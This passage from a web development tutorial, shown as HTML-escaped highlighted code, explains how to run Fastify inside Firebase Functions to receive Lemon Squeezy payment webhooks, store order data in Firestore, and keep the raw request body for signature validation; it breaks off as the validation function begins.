&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The following&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.data.id;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;userEmail&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.data.user_email;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getFirestore&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Construct the collection path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;docRef&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; db&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;collection&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(uid)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;collection&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;plans&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(planId);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use a transaction to ensure atomic update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;runTransaction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get the document snapshot&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create the document if it doesn&apos;t exist&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;doc.exists) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef, { orderId, userEmail });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Update the document if it already exists&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef, { orderId, userEmail });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fastifyApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ready&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.server.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;request&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, request, reply);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.app &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(fastifyApp);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s break this code down for the Fastify parts that make it up.&lt;/p&gt;
&lt;p&gt;We begin by requiring Fastify and initializing it with a logger default:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  logger: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, we tell Fastify that it doesn’t need to parse the HTTP request’s
raw data by calling the &lt;code&gt;addContentTypeParser()&lt;/code&gt; function, and all we do
is call the &lt;code&gt;done&lt;/code&gt; callback function with &lt;code&gt;payload.body&lt;/code&gt; because that
&lt;code&gt;body&lt;/code&gt; property is already in JSON format.&lt;/p&gt;
&lt;p&gt;Why do we need to do that? the HTTP layer of Firebase Functions already
parses the raw HTTP requests payload based on the content type and provides
the already-parsed JSON data. So we explicitly tell Fastify here that it
doesn’t need to do any special parsing of its own:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addContentTypeParser&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {}, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, payload.body);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up is our POST endpoint API route definition which should be a very
familiar and straightforward example for you:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/lms-webhook&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we continue to the stock code of working with Fastify. It is a good
convention with Fastify to wait until all plugins have finished loading,
so we call &lt;code&gt;fastify.read()&lt;/code&gt; and wait for the promise to resolve.&lt;/p&gt;
&lt;p&gt;Usually, we would return the Fastify app instance (which itself, is a plugin,
how cool?), but in this case on Firebase there’s no way for Fastify to bind
to an IP address on a network interface. So how do we do it?&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;fastify.server.emit()&lt;/code&gt; to emulate an HTTP request that originates
from the lower levels of Firebase Functions and push that to Fastify’s own
HTTP request handling layer.&lt;/p&gt;
&lt;p&gt;All of this put together looks as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fastifyApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ready&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.server.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;request&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, request, reply);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we export a Firebase Function called &lt;code&gt;app&lt;/code&gt; and we wrap the Fastify
app with Firebase’s own &lt;code&gt;onRequest()&lt;/code&gt; function which handles all the HTTP
stuff for us:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.app &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(fastifyApp);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;phase-3-validating-the-http-webhook-from-lemon-squeezy&quot;&gt;Phase 3: Validating the HTTP webhook from Lemon Squeezy&lt;/h2&gt;
&lt;p&gt;You’d think that validating the incoming HTTP webhook from Lemon Squeezy
servers would be a straight-forward thing to do, huh?&lt;/p&gt;
&lt;p&gt;The crux of the problem is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For performance reasons, Fastify does one of two things only: it either parses
the JSON and serves that to the routes on the request object, or it leaves it
in its raw form for you to handle that (just like we added our own JSON parser, remember?)&lt;/li&gt;
&lt;li&gt;The Firebase layer only provides the JSON parsed data. However, luckily for us,
they already solved that problem a while back and this isn’t a problem anymore.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We address the raw body with a one-liner change:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addContentTypeParser&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {}, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    req.rawBody &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; payload.rawBody;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, payload.body);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The change is to update the previous function call for request parsing to use the
payload that is passed from Firebase HTTP layer (&lt;code&gt;payload&lt;/code&gt;) so that we save the
&lt;code&gt;rawBody&lt;/code&gt; on the request object.&lt;/p&gt;
&lt;p&gt;This then allows us to access the raw body via &lt;code&gt;request.rawBody&lt;/code&gt; in the route
handler so we can calculate the digest.&lt;/p&gt;
&lt;p&gt;Validating the HTTP request webhook signature looks as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;validateWebhookRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;LEMON_SQUEEZY_WEBHOOK_SECRET&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
